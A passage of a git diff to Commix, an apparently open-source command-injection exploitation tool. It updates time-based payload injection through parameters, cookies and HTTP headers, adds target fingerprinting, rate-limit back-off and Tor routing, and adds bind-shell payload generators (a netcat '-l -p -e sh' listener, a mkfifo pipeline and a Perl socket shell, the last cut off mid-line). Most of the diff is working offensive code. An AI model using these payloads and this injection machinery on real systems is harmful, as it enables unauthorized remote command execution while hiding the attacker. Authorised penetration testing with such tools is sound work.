print(settings.print_bold_debug_msg(debug_msg)) - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify server's operating system." - print(settings.print_warning_msg(warn_msg)) - - if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, - # by default is a Linux/Unix operating system. - if menu.options.shellshock: - pass - else: - if menu.options.batch: - if not settings.CHECK_BOTH_OS: - settings.CHECK_BOTH_OS = True - check_type = "unix-based" - elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = "win" - settings.CHECK_BOTH_OS = False - settings.PERFORM_BASIC_SCANS = True - check_type = "windows-based" - info_msg = "Setting the " + check_type + " payloads." - print(settings.print_info_msg(info_msg)) - else: - while True: - question_msg = "Do you recognise the server's operating system? " - question_msg += "[(W)indows/(U)nix/(q)uit] > " - got_os = _input(settings.print_question_msg(question_msg)) - if got_os.lower() in settings.CHOICE_OS : - if got_os.lower() == "w": - settings.TARGET_OS = "win" - break - elif got_os.lower() == "u": - break - elif got_os.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + got_os + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass + settings.SERVER_BANNER = match.group(0) + # The version, where the banner names one - the matched name carries it only for the servers + # whose pattern asks for it, so it is read off the banner itself. + version = re.search(re.escape(settings.SERVER_BANNER.split("/")[0]) + r"[\-\_\/\ ]([\d\.]+)", server_banner, re.IGNORECASE) + if version: + settings.SERVER_VERSION = version.group(1).rstrip(".") + + # Which document root this server keeps. It runs on the first connection, before the target's + # operating system has been worked out, so the banner itself has to answer for it - an Apache + # build reports "(Win32)" or "(Win64)" and would otherwise be handed a Unix-like path. + windows_banner = (settings.TARGET_OS == settings.OS.WINDOWS or + re.search(r"\(Win(32|64|dows)\)?", server_banner, re.IGNORECASE) is not None) + platform = settings.OS.WINDOWS if windows_banner else settings.OS.UNIX + for server, roots in settings.SERVER_DOC_ROOTS.items(): + if server in settings.SERVER_BANNER.lower(): + # A server that runs on one platform only says which platform this is, whatever the + # banner left out - IIS names no "(Win64)" and is no less Windows for it. + settings.WEB_ROOT = roots.get(platform) or (list(roots.values())[0] if len(roots) == 1 else "") + settings.WEB_ROOT_IS_GUESS = bool(settings.WEB_ROOT) + break + break + + if server_banner and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The web server is '" + server_banner + "'." + settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + """ -Perform target page reload (if it is required). +Identify the underlying operating system based on the server banner. """ -def url_reload(url, timesec): - if timesec <= "5": - timesec = 5 - time.sleep(timesec) - response = urllib.urlopen(url) - return response +def os_identification(response): + if not settings.IGNORE_IDENTIFIED_TARGET_OS: + server_banner = response.info().get(settings.SERVER, "") + check_os(server_banner) + + """ + Nothing is asked here, and nothing is said yet. + + The banner is the weakest of the three things that can answer this: a heuristic payload that + executes settles it outright, and that runs in a moment. Asking first put the question before the + evidence - and then ignored the answer when the evidence contradicted it. + """ + if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: + settings.OS_IDENTIFICATION_PENDING = True + + +""" +Perform a target page reload after a specified delay (minimum 5 seconds). +""" +def url_reload(url, delay_seconds): + # Ensure a minimum delay of 5 seconds before reloading + if int(delay_seconds) < 5: + delay_seconds = 5 + time.sleep(delay_seconds) -# eof \ No newline at end of file + request = _urllib.request.Request(url, method=settings.HTTPMETHOD.GET) + headers.do_check(request) + return get_request_response(request) + +""" +Calculate the time related execution time +""" +_injection_lock = threading.Lock() +_injections_in_flight = 0 +_transport_before_injection = None + +# Send one payload, with the timeout widened to allow for the delay it asks for. +def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + global _injections_in_flight, _transport_before_injection + # A time-related payload asks the target to sleep, so the answer is meant to be late. Waiting less + # than the delay we asked for turns our own request into a connection error, which on a target + # slow enough to need a raised delay would abort the scan. + needed = injected_delay_allowance() + """ + These two are read at the moment the socket is opened, and several workers can be here at once - + so what is saved and put back is the state before the first of them arrived, not before each. Any + other bookkeeping restores one worker's idea of the timeout while another's request is still in + flight, and that request times out on a delay it correctly asked for. + """ + with _injection_lock: + if _injections_in_flight == 0: + _transport_before_injection = (settings.TIMEOUT, settings.KEEP_ALIVE) + _injections_in_flight += 1 + if needed > settings.TIMEOUT: + settings.TIMEOUT = needed + # A pooled connection keeps the timeout it was opened with, so a reused one would ignore this. + settings.KEEP_ALIVE = False + try: + return _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + finally: + with _injection_lock: + _injections_in_flight -= 1 + if _injections_in_flight == 0 and _transport_before_injection is not None: + settings.TIMEOUT, settings.KEEP_ALIVE = _transport_before_injection + _transport_before_injection = None + +""" +Seconds a request needs to allow for, when the payload deliberately delays the answer. +""" +def injected_delay_allowance(): + if not settings.TIME_RELATED_ATTACK: + return 0 + delay = settings.CALIBRATED_TIMESEC or menu.options.timesec or 0 + # What the payload actually asks for, not what was configured - a target whose delay is built + # differently would otherwise have its own answer cut off, which reads as no delay at all. + # The false-positive round adds a few seconds of its own on top of the calibrated delay. + return checks.injected_delay(delay) + settings.TIME_DELAY_STEP + 10 + +# Send the payload wherever the injection point is, and time the answer. +def _perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): + # What the caller still holds, which is what a finding is reported under - the three rewrites + # below are this request's own, so the payload of record is no longer the string it was handed. + payload_as_given = payload + # Fix prefixes / suffixes + payload, prefix = parameters.prefixes(payload, prefix) + payload, suffix = parameters.suffixes(payload, suffix) + + # Where the payload itself begins and ends in what is about to be sent, told to the rewrites + # below while the two ends are still known separately from it. The payload is unchanged by the + # gluing, so it is found in there exactly as it was handed over. + body = payload.find(payload_as_given) + settings.PAYLOAD_EDGES = ((payload[:body], payload[body + len(payload_as_given):]) + if body != -1 else ("", "")) + # A substitute the shell reads as text cannot go inside a quoted literal, where it would be that + # text rather than the gap it stands for; one the target decodes first arrives there as the space + # itself and is written in as before. Nothing is rewritten at all where neither applies. + if whitespace != settings.SINGLE_WHITESPACE: + rewrite = (checks.tamper_outside_single_quotes if whitespace in settings.DECODED_WHITESPACES + else checks.tamper_outside_quoted_text) + payload = rewrite(payload, lambda part: checks.tamper_blanks(part, whitespace)) + """ + What the caller is handed back is the payload as it stands here, before the two rewrites below. + + Those two are this request's business: the scripts rewrite it for the run they are loaded in, and + what they write belongs to that run - a variable name drawn at random this time is not the name + the next run draws. Handed back, it becomes the payload of record, which is then written into the + session and read out of it by a run that can no longer make sense of it: the stand-in in front of + it cannot be put back as the value it stood in for, because the stand-in is no longer there to + recognise. The encoding after them is the transport's business for the same reason. + """ + payload_of_record = payload + payload = checks.perform_payload_modification(payload) + # Noted before the transport's own encoding goes on, which is the form a finding is reported in. + # Under both the payload of record and the string the caller still holds: a prefix, a suffix or a + # whitespace substitute leaves the two different, and a finding is reported under the latter. + checks.note_payload_as_sent(payload_of_record, payload) + checks.note_payload_as_sent(payload_as_given, payload) + # A parameter the target carries encoded is written back the way it arrived, the whole value at + # once rather than the injected part alone - which is what makes the value it reads a valid one. + payload = checks.apply_value_encoding(payload) + + # Check if defined "--verbose" option. + if settings.VERBOSITY_LEVEL != 0: + settings.print_data_to_stdout(settings.print_payload(payload)) + + # Check if defined cookie with "INJECT_HERE" tag + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + exec_time = cookie_injection(url, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter(settings.CUSTOM_HEADER_NAME.lower()) + exec_time = custom_header_injection(url, payload, http_request_method) + # Check if defined user-agent with "INJECT_HERE" tag + elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) + exec_time = user_agent_injection(url, payload, http_request_method) + # Check if defined referer with "INJECT_HERE" tag + elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) + exec_time = referer_injection(url, payload, http_request_method) + # Check if defined host with "INJECT_HERE" tag + elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) + exec_time = host_injection(url, payload, http_request_method) + else: + exec_time, vuln_parameter = init_injection(payload, http_request_method, url) + + return exec_time, vuln_parameter, payload_of_record, prefix, suffix + +# eof diff --git a/src/core/requests/stability.py b/src/core/requests/stability.py new file mode 100644 index 0000000000..dbf6006775 --- /dev/null +++ b/src/core/requests/stability.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +import threading +from src.utils import settings + +""" +Connection-level resilience: retry transient failures instead of aborting, +and detect retries that inflate timing measurements. +""" + +""" +Reset the connection-error budget after a clean success. +""" +def reset_connection_error_budget(): + settings.CONNECTION_ERROR_RETRIES = 0 + +""" +True and warns if the connection-error budget allows another attempt; False once exhausted. +""" +def should_retry_connection_error(err): + if settings.CONNECTION_ERROR_RETRIES < settings.MAX_CONNECTION_ERROR_RETRIES: + settings.CONNECTION_ERROR_RETRIES = settings.CONNECTION_ERROR_RETRIES + 1 + warn_msg = "Connection dropped (" + str(err) + "), reconnecting (" + str(settings.CONNECTION_ERROR_RETRIES) + "/" + str(settings.MAX_CONNECTION_ERROR_RETRIES) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.VISIBLE_CONNECTION_ERRORS += 1 + return True + return False + +""" +True once the connection-error budget is used up. +""" +def connection_error_budget_exhausted(): + return settings.CONNECTION_ERROR_RETRIES >= settings.MAX_CONNECTION_ERROR_RETRIES + +""" +Retry delay in seconds; 0 during timing attacks to avoid inflating exec_time. +""" +""" +Back off when the target answers as if it has had enough of us, and creep back once it stops. +A time-related technique measures the very delay this changes, so it is left alone while one runs. +""" +def adapt_delay(blocked): + if settings.TIME_RELATED_ATTACK: + # Left alone only while one runs, so its baseline and its measurements stay comparable. + return + + if blocked: + settings.ADAPTIVE_DELAY_STREAK = 0 + if settings.ADAPTIVE_DELAY < settings.MAX_ADAPTIVE_DELAY: + settings.ADAPTIVE_DELAY = min(settings.MAX_ADAPTIVE_DELAY, (settings.ADAPTIVE_DELAY * 2) or 1) + warn_msg = "The target is answering as if it is rate-limiting, so waiting " + warn_msg += str(settings.ADAPTIVE_DELAY) + " second" + "s"[settings.ADAPTIVE_DELAY == 1:] + " between requests." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif settings.ADAPTIVE_DELAY: + settings.ADAPTIVE_DELAY_STREAK += 1 + if settings.ADAPTIVE_DELAY_STREAK >= settings.ADAPTIVE_DELAY_RECOVERY: + settings.ADAPTIVE_DELAY_STREAK = 0 + settings.ADAPTIVE_DELAY -= 1 + +# How long to wait before trying again, which a timed payload cannot afford at all. +def retry_delay_seconds(): + return 0 if settings.TIME_RELATED_ATTACK else settings.DELAY_RETRY + +""" +Requests this thread has sent. + +Counted per thread rather than off the run-wide total: several workers share that total, so a +thread asking whether its own request was retried would be answered with everyone else's traffic - +under '--threads' always "yes", and every measurement taken the maximum number of times. +""" +_thread_state = threading.local() + +# Count one request against this thread's own tally. +def note_request_sent(): + # A request the run makes around the measured one - the page a second-order result shows up on, + # the visit that keeps a session alive, the fetch of an anti-CSRF token - is part of that + # measurement rather than a second attempt at it. Counting one would read as a retry, and every + # timing taken with those options in play would be thrown away as untrustworthy. Asked of this + # thread alone, for the same reason the tally above is kept per thread. + if settings.in_side_request(): + return + _thread_state.sent = getattr(_thread_state, "sent", 0) + 1 + +# How many requests this thread has sent. +def requests_sent(): + return getattr(_thread_state, "sent", 0) + +""" +True if a transport-level retry happened mid-measurement, making exec_time untrustworthy. +""" +def request_was_retried(requests_before): + return requests_sent() - requests_before > 1 + +""" +True when the last request reached the target and was answered - with an error status, but answered, so its elapsed time is as good a measurement as a 200's. +""" +def answered_with_http_error(): + return settings.LAST_HTTP_ERROR is not None + +""" +True while the request loop should keep retrying: not succeeded, within budget, not unauthorized. +""" +def should_keep_retrying(succeeded, unauthorized): + return not succeeded and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and not unauthorized + +""" +Grow the retry budget after progress. +""" +def expand_retry_budget(): + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 + +""" +Stop growing the retry budget once retries won't help. +""" +def freeze_retry_budget(): + settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS + +""" +Cut retries to one for clearly fatal errors. +""" +def disable_retries(): + settings.MAX_RETRIES = 1 + +""" +True once a single-target scan has exhausted retries and the connection-error budget. +""" +def should_abandon_target(): + # At or past it: the counter is raised from several places, so it can step over the budget + # between two checks and an equality would never hold. + return settings.TOTAL_OF_REQUESTS >= settings.MAX_RETRIES and not settings.MULTI_TARGETS and connection_error_budget_exhausted() + +""" +Mark the target URL unreachable. +""" +def mark_url_invalid(): + settings.VALID_URL = False + +""" +Mark the target URL reachable. +""" +def mark_url_valid(): + settings.VALID_URL = True + # An answered request is the evidence that the backing off can start being given back. + adapt_delay(blocked=False) + +# eof diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index 452d3aaf8e..e85d1ffbc5 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,123 +13,127 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import sys +import json +import socket from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import http_client as _http_client -from src.utils import menu +from src.thirdparty.socks import socks +from src.core.parse import cmdline as menu from src.utils import settings -from src.utils import requirments -from src.thirdparty.colorama import Fore, Back, Style, init +from src.core.requests import proxy -""" -Check for TOR HTTP Proxy. -""" -if menu.options.tor_port: - PRIVOXY_PORT = menu.options.tor_port -else: - PRIVOXY_PORT = settings.PRIVOXY_PORT +# The first of the given ports that something on the loopback address is listening on. +def find_local_port(ports): + for port in ports: + probe = None + try: + try: + probe = socks._orig_socket(socket.AF_INET, socket.SOCK_STREAM) + except AttributeError: + probe = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + probe.settimeout(settings.TIMEOUT) + probe.connect((settings.TOR_HTTP_PROXY_IP, int(port))) + return int(port) + except socket.error: + pass + finally: + if probe is not None: + try: + probe.close() + except socket.error: + pass + return None -""" -Check if HTTP Proxy (tor/privoxy) is defined. -""" + +# Route requests through an HTTP proxy standing in front of Tor. +def set_http_proxy_settings(): + info_msg = "Setting the Tor HTTP proxy settings." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + port = find_local_port((menu.options.tor_port,) if menu.options.tor_port else settings.DEFAULT_TOR_HTTP_PORTS) + if not port: + err_msg = "Could not establish a connection with the Tor HTTP proxy. " + err_msg += "Please make sure that you have Tor (bundle) installed and set up, " + err_msg += "so that you are able to successfully use the '--tor' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + settings.TOR_HTTP_PROXY_PORT = str(port) + menu.options.proxy = settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT + + if not menu.options.check_tor: + warn_msg = "Use the '--check-tor' switch at your own convenience when accessing the Tor " + warn_msg += "anonymizing network, because of known issues with the default settings of " + warn_msg += "various bundles (e.g. Vidalia)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + + +# Route requests through the Tor service itself, which speaks SOCKS rather than HTTP. +def set_socks_proxy_settings(): + info_msg = "Setting the Tor SOCKS proxy settings." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + port = find_local_port((menu.options.tor_port,) if menu.options.tor_port else settings.DEFAULT_TOR_SOCKS_PORTS) + if not port: + err_msg = "Could not establish a connection with the Tor SOCKS proxy. " + err_msg += "Please make sure that you have Tor service installed and set up, " + err_msg += "so that you are able to successfully use the '--tor' switch." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + # SOCKS5 has the names resolved at the other end, where SOCKS4 leaks each one to the local + # resolver - which is the target's name, asked for by this host, in plain sight. + socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if menu.options.tor_type == settings.PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, settings.TOR_HTTP_PROXY_IP, port) + socks.wrapmodule(_http_client) + + +# Route requests through Tor, as whichever kind of proxy it is listening as. +def set_proxy_settings(): + if not menu.options.tor: + return + tor_type = (menu.options.tor_type or settings.DEFAULT_TOR_TYPE).upper() + if tor_type not in settings.TOR_TYPES: + err_msg = "The value of the '--tor-type' option must be one of " + ", ".join("'" + _ + "'" for _ in settings.TOR_TYPES) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + menu.options.tor_type = tor_type + + if tor_type == settings.PROXY_TYPE.HTTP: + set_http_proxy_settings() + else: + set_socks_proxy_settings() + + +# Ask the Tor network itself whether this run is really coming through it. def do_check(): + if not menu.options.check_tor: + return - # Check if 'tor' is installed. - requirment = "tor" - requirments.do_check(requirment) - - # Check if 'privoxy' is installed. - requirment = "privoxy" - requirments.do_check(requirment) - - check_privoxy_proxy = True - info_msg = "Testing Tor SOCKS proxy settings (" - info_msg += settings.PRIVOXY_IP + ":" + PRIVOXY_PORT - info_msg += "). " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) - _urllib.request.install_opener(opener) - except: - check_privoxy_proxy = False - pass - - if check_privoxy_proxy: - try: - check_tor_page = opener.open("https://check.torproject.org/").read().decode(settings.UNICODE_ENCODING) - found_ip = re.findall(r": <strong>" + "(.*)" + "</strong></p>", check_tor_page) - if not "You are not using Tor" in check_tor_page: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.tor_check: - info_msg = "Tor connection is properly set. " - else: - info_msg = "" - info_msg += "Your ip address appears to be " + found_ip[0] + ".\n" - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - warn_msg = "Increasing default value for option '--time-sec' to" - warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." - print(settings.print_warning_msg(warn_msg)) - - else: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg += "Can't establish connection with the Tor SOCKS proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg = "Please make sure that you have " - err_msg += "Tor installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except _http_client.BadStatusLine as err_msg: - print(settings.SINGLE_WHITESPACE) - if len(err_msg.line) > 2 : - print(err_msg.line, err_msg.message) - raise SystemExit() + info_msg = "Checking the Tor connection." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if menu.options.offline: + err_msg = "You cannot use Tor network while offline." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) -""" -Use the TOR HTTP Proxy. -""" -def use_tor(request): - if menu.options.offline: - err_msg = "You cannot Tor network without access on the Internet." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - try: - privoxy_proxy = _urllib.request.ProxyHandler({settings.SCHEME:settings.PRIVOXY_IP + ":" + PRIVOXY_PORT}) - opener = _urllib.request.build_opener(privoxy_proxy) - _urllib.request.install_opener(opener) - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - return response + request = _urllib.request.Request(settings.CHECK_TOR_API_PAGE, method=settings.HTTPMETHOD.GET) + response = proxy.use_proxy(request) + page = response.read().decode(settings.DEFAULT_CODEC) + is_tor = json.loads(page).get("IsTor") + except Exception: + is_tor = None + + if not is_tor: + err_msg = "It appears that Tor is not properly set. " + err_msg += "Please try using the '--tor-type' and/or '--tor-port' options." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "The connection is routed through the Tor network." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - except Exception as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() -# eof \ No newline at end of file +# eof diff --git a/src/core/shells/__init__.py b/src/core/shells/__init__.py index b50e6972c9..ca8037d413 100644 --- a/src/core/shells/__init__.py +++ b/src/core/shells/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 813bf6584b..d4cecf9f66 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -3,574 +3,207 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ -import os -import re -import sys -import time -import base64 -import subprocess -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings -from src.thirdparty.six.moves import input as _input -from src.thirdparty.colorama import Fore, Back, Style, init - -""" -Check for available shell options. -""" -def shell_options(option): - if option.lower() == "bind_tcp": - warn_msg = "You are already into the '" + option.lower() + "' mode." - print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": - menu.reverse_tcp_options() - elif option.lower() == "quit": - raise SystemExit() - elif option[0:4].lower() == "set ": - if option[4:10].lower() == "rhost ": - check_rhost(option[10:]) - if option[4:10].lower() == "lhost ": - err_msg = "The '" + option[4:9].upper() + "' option, is not " - err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - if option[4:10].lower() == "lport ": - check_lport(option[10:]) - else: - return option - -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ").\n" - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - -""" -Error msg if the attack vector is available only for Windows targets. -""" -def windows_only_attack_vector(): - error_msg = "This attack vector is available only for Windows targets." - print(settings.print_error_msg(error_msg)) - -""" -Message regarding the MSF handler. -""" -def msf_launch_msg(output): - info_msg = "Type \"msfconsole -r " + os.path.abspath(output) + "\" (in a new window)." - print(settings.print_info_msg(info_msg)) - info_msg = "Once the loading is done, press here any key to continue..." - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdin.readline().replace("\n","") - # Remove the ouput file. - os.remove(output) - -""" -Set up the PHP working directory on the target host. -""" -def set_php_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PHP_DIR - question_msg += "' as PHP working directory on the target host? [Y/n] > " - php_dir = _input(settings.print_question_msg(question_msg)) - else: - php_dir = "" - if len(php_dir) == 0: - php_dir = "Y" - if php_dir in settings.CHOICE_YES: - break - elif php_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " - settings.WIN_PHP_DIR = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PHP_DIR = True - break - else: - err_msg = "'" + php_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python working directory on the target host. -""" -def set_python_working_dir(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_dir = _input(settings.print_question_msg(question_msg)) - else: - python_dir = "" - if len(python_dir) == 0: - python_dir = "Y" - if python_dir in settings.CHOICE_YES: - break - elif python_dir in settings.CHOICE_NO: - question_msg = "Please provide a full path directory for Python interpreter (e.g. '" - question_msg += "C:\\Python27\\python.exe') > " - settings.WIN_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_DIR = True - break - else: - err_msg = "'" + python_dir + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -Set up the Python interpreter on linux target host. -""" -def set_python_interpreter(): - while True: - if not menu.options.batch: - question_msg = "Do you want to use '" + settings.LINUX_PYTHON_INTERPRETER - question_msg += "' as Python interpreter on the target host? [Y/n] > " - python_interpreter = _input(settings.print_question_msg(question_msg)) - else: - python_interpreter = "" - if len(python_interpreter) == 0: - python_interpreter = "Y" - if python_interpreter in settings.CHOICE_YES: - break - elif python_interpreter in settings.CHOICE_NO: - question_msg = "Please provide a custom interpreter for Python (e.g. '" - question_msg += "python27') > " - settings.LINUX_PYTHON_INTERPRETER = _input(settings.print_question_msg(question_msg)) - settings.USER_DEFINED_PYTHON_INTERPRETER = True - break - else: - err_msg = "'" + python_interpreter + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - -""" -check / set rhost option for bind TCP connection -""" -def check_rhost(rhost): - settings.RHOST = rhost - print("RHOST => " + settings.RHOST) - return True - -""" -check / set lport option for bind TCP connection -""" -def check_lport(lport): - try: - if float(lport): - settings.LPORT = lport - print("LPORT => " + settings.LPORT) - return True - except ValueError: - err_msg = "The provided port must be numeric (i.e. 1234)" - print(settings.print_error_msg(err_msg)) - return False - +from src.core.controller import checks +from src.core.shells import modes """ -Set up the netcat bind TCP connection +Netcat bind TCP shell - one generator, parameterized by which netcat binary to target. """ -def netcat_version(separator): - - # Defined shell +def _netcat_bind_shell(nc_alternative, use_dash_e=True): shell = "sh" - - # Netcat alternatives - NETCAT_ALTERNATIVES = [ - "nc", - "busybox nc", - "nc.traditional", - "nc.openbsd" - ] - - while True: - nc_version = _input(""" ----[ """ + Style.BRIGHT + Fore.BLUE + """Netcat bind TCP shells""" + Style.RESET_ALL + """ ]--- -Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. -Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. -\ncommix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - - # Default Netcat - if nc_version == '1': - nc_alternative = NETCAT_ALTERNATIVES[0] - break - # Netcat for Busybox - if nc_version == '2': - nc_alternative = NETCAT_ALTERNATIVES[1] - break - # Netcat-Traditional - elif nc_version == '3': - nc_alternative = NETCAT_ALTERNATIVES[2] - break - # Netcat-Openbsd (nc without -e) - elif nc_version == '4': - nc_alternative = NETCAT_ALTERNATIVES[3] - break - # Check for available shell options - elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): - if shell_options(nc_version): - return shell_options(nc_version) - # Invalid command - else: - err_msg = "The '" + nc_version + "' option, is not valid." - print(settings.print_error_msg(err_msg)) - continue - - while True: - if not menu.options.batch: - question_msg = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = _input(settings.print_question_msg(question_msg)) + nc_alternative, shell = checks.use_bin_subdir(nc_alternative, shell) + + # Netcat with -e. + if use_dash_e: + return nc_alternative + " -l -p " + settings.LPORT + " -e " + shell + + tmp_fifo = checks.random_tmp_path() + + return ( + shell + + " -c \"rm -f " + tmp_fifo + ";mkfifo " + tmp_fifo + ";" + + shell + + " 0<" + tmp_fifo + " | " + + nc_alternative + + " -l -p " + + settings.LPORT + # Taken away again when the pipeline ends, not only before it starts - cleared on the way in + # alone, the pipe is left on the target for good once the session closes. + + " 1>" + tmp_fifo + ";rm -f " + tmp_fifo + "\"" + ) + +""" +Perl bind TCP shell. +""" +def gen_perl_bind(): + # Relays in Perl itself - the "$~->fdopen" dups leave the shell connected but unusable. + return ( + "perl -MIO -e '" + "$c=new IO::Socket::INET(LocalPort," + + settings.LPORT + + ",Reuse,1,Listen)->accept;" + "select($c);$|=1;" + # chdir() persists for 